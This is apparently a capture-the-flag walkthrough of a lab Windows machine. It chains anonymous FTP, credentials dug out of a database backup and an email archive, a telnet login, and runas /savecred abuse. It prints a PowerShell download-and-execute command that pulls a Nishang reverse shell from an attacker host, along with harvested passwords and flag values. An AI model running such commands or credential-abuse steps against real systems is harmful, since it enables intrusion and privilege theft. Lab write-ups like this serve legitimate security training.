Nmap

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-13 11:49 +08
Nmap scan report for 10.10.10.98
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: MegaCorp
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.18 seconds

Nmap gives us only 3 open ports.

Port 22 - It says FTP anonymous login is allowed but could not get directory listing.

Port 23 - telnet

Port 80 - http

Port 80 - HTTP

We normally jump into port 80 when we see one.

However, the website is bare and there’s nothing but a LON-MC6 header and an image of server hardware.

curl -i http://10.10.10.98                                                       

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 23 Aug 2018 23:33:43 GMT
Accept-Ranges: bytes
ETag: "44a87bb393bd41:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 13 Nov 2024 04:01:37 GMT
Content-Length: 391

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>MegaCorp</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<div align="center">
  <p><strong><font size="5" face="Verdana, Arial, Helvetica, sans-serif">LON-MC6</font></strong> </p>
  <p><img border="0" src="out.jpg"></p>
</div>
</body>
</html>

Now there might be more to this but before we fall into any rabbit holes, let’s continue enumerating.

Port 21 - FTP

Unlike what Nmap says, I managed to get the directory listing. It’s always good to double check.

anonymous ftp login

ftp 10.10.10.98

Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:hans): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.

ftp> dir
425 Cannot open data connection.
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  08:16PM       <DIR>          Backups
08-24-18  09:00PM       <DIR>          Engineer
226 Transfer complete.

We see a bunch of seemingly important directories so I downloaded the files contained within.

ftp> cd backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18  08:16PM              5652480 backup.mdb
226 Transfer complete.

ftp> dir ../engineer
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18  12:16AM                10870 Access Control.zip
226 Transfer complete.

I could have used a recursive wget (wget -r ftp://user:pass@$RHOST/) but there were only 2 files so I downloaded them manually.

Access Control.zip

unzip Access\ Control.zip

Archive:  Access Control.zip
   skipping: Access Control.pst      unsupported compression method 99

I couldn’t unzip using the unzip command due to unsupported compression method 99. It seems that this zip file has been encrypted.

We can unzip using 7z instead:

7z e -ppassword Access\ Control.zip

however, we don’t have a password yet.

backup.mdb

We can use a set of commands in mdb-tools to open and export .mdb files.

mdb-tables backup.mdb

acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx

mdb-tables command lists all the tables in the .mdb file.

enumerate tables

cat mdb_tables | \
while read table; do noOfLines=$(mdb-export backup.mdb $table | wc -l); \
if [ $noOfLines -gt 1 ]; \
then echo "\nTable: $table"; mdb-export backup.mdb $table; \
fi; done > backupdb_contents

With a bash one-liner, we can enumerate the content of every non-empty table.

This one-liner cats the file with the tables that we retrieved earlier (which have been parsed into a file line by line using sed 's/\ /\n/g').

mdb-export will retrieve the content of a table from the .mdb file. Hence, for each table, if the number of lines is more than 1 (table not empty), it will export the data and then write it to backupdb_contents.

auth_user table
Table: auth_user
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

Looking through the output, the table that stood out the most was auth_user. It contains usernames and passwords.

Unzipping ‘Access Control.zip’

After seeing the engineer username in the auth_user table, I recall a certain Access Control.zip that needs a password to extract. True enough, it works with this password.

7z e -paccess4u@security Access\ Control.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,128 CPUs Intel(R) Core(TM) i7-7700 CPU @ 3.60GHz (906E9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 10870 bytes (11 KiB)

Extracting archive: Access Control.zip
--
Path = Access Control.zip
Type = zip
Physical Size = 10870

Everything is Ok

Size:       271360
Compressed: 10870

After extracting, we get a Access Control.pst file which is a Personal Storage Table (PST) for Microsoft Outlook. We can read this by using a suite of tools from pst-utils.

read email

Using readpst, we can convert the .pst file to .mbox format allowing us to read the content.

readpst Access\ Control.pst

Opening PST file and indexes...
Processing Folder "Deleted Items"
        "Access Control" - 2 items done, 0 items skipped.
head Access\ Control.mbox

From "john@megacorp.com" Fri Aug 24 07:44:07 2018
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--boundary-LibPST-iamunique-1182865893_-_-"

Looking through the email, I found credentials for the security account.

...[truncated]...

--alt---boundary-LibPST-iamunique-1182865893_-_-
Content-Type: text/plain; charset="utf-8"

Hi there,



The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.



Regards,

John

...[trunctated]...

Based on the ports open, we can only try this on FTP (21) or telnet (23).

ftp ftp://security:4Cc3ssC0ntr0ller@10.10.10.98

Connected to 10.10.10.98.
220 Microsoft FTP Service
331 Password required for security.
530 User cannot log in.
ftp: Login failed
ftp: Can't connect or login to host `10.10.10.98:ftp'
221 Goodbye.

FTP didn’t give us anything so it must be telnet.

telnet shell

security 4Cc3ssC0ntr0ller Using these credentials we get shell via telnet.

telnet 10.10.10.98

Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: security
password:

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>

user flag

C:\Users\security>cd Desktop

C:\Users\security\Desktop>type user.txt
f61efcf0cf07cb9c30ecb90ac9c50b27

Hidden Folders

When exploring the machine, I noticed the C:\Users\Public directory contains hidden folders. Use dir /a to list all.

C:\Users\Public>dir
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of C:\Users\Public

07/14/2009  04:57 AM    <DIR>          .
07/14/2009  04:57 AM    <DIR>          ..
07/14/2009  05:06 AM    <DIR>          Documents
07/14/2009  04:57 AM    <DIR>          Downloads
07/14/2009  04:57 AM    <DIR>          Music
07/14/2009  04:57 AM    <DIR>          Pictures
07/14/2009  04:57 AM    <DIR>          Videos
               0 File(s)              0 bytes
               7 Dir(s)   3,347,632,128 bytes free

C:\Users\Public>dir /a
 Volume in drive C has no label.
 Volume Serial Number is 8164-DB5F

 Directory of C:\Users\Public

07/14/2009  04:57 AM    <DIR>          .
07/14/2009  04:57 AM    <DIR>          ..
08/28/2018  06:51 AM    <DIR>          Desktop
07/14/2009  04:57 AM               174 desktop.ini
07/14/2009  05:06 AM    <DIR>          Documents
07/14/2009  04:57 AM    <DIR>          Downloads
07/14/2009  02:34 AM    <DIR>          Favorites
07/14/2009  04:57 AM    <DIR>          Libraries
07/14/2009  04:57 AM    <DIR>          Music
07/14/2009  04:57 AM    <DIR>          Pictures
07/14/2009  04:57 AM    <DIR>          Videos
               1 File(s)            174 bytes
              10 Dir(s)   3,347,632,128 bytes free

List of hidden folders to check:

  • Desktop
  • desktop.ini
  • Favourites
  • Libraries

Desktop

C:\Users\Public\Desktop>type "ZKAccess3.5 Security System.lnk"
LF@ 7#P/PO :+00/C:\R1M:Windows:M:*wWindowsV1MVSystem32:MV*System32X2P:
                                                                       runas.exe:1:1*Yrunas.exeL-KEC:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%
                                                                                                                                                                                          wN]ND.Q`Xaccess_8{E3
                                                                                                                                                                                                              Oj)H
                                                                                                                                                                                                                  )ΰ[_8{E3
      Oj)H
          )ΰ[   1SPSXFL8C&me*S-1-5-21-953262931-566350628-63446256-500

In the hidden Desktop folder, I find a windows shortcut file (.lnk). When read, I see some jibberish but I know it’s a shortcut that runs something as an administrator due to the runas.exe binary. And with the /savecred flag, the credentials are stored in the system.

Using cmdkey /list we can confirm that there is indeed stored credentials for Administrator.

C:\Users\Public\Desktop>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=ACCESS\Administrator
                                                       Type: Domain Password
    User: ACCESS\Administrator

This means we can exploit the runas binary with the cached credentials to run something as Administrator.

nishang reverse shell

cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1

I copied one of the Nishang ps1 reverse shells and renamed it to shell.ps1

I added a line to run the function because by default it only loads the functions into the powershell session.

At the telnet shell, I ran the below command:

runas /savecred /user:ACCESS\Administrator "powershell IEX(new-object net.webclient).downloadString('http://10.10.14.3/shell.ps1')"

Before running the above command, I made sure to host the shell.ps1 on my python http.server and run a nc listener.

root flag

PS C:\users\administrator\desktop> type root.txt
fe73d5a6ebab303c6abfdd31ebf35a0b

BONUS - get Administrator password

DPAPI

C:\Users\security\AppData\Roaming\Microsoft\Protect\
or
C:\Users\security\AppData\Local\Microsoft\Protect\

master key

C:\Users\security\AppData\Roaming\Microsoft\Credentials\
or
C:\Users\security\AppData\Roaming\Microsoft\Protect\
or
C:\Users\security\AppData\Local\Microsoft\Credentials\
or
C:\Users\security\AppData\Local\Microsoft\Protect\

DPAPI key

TBC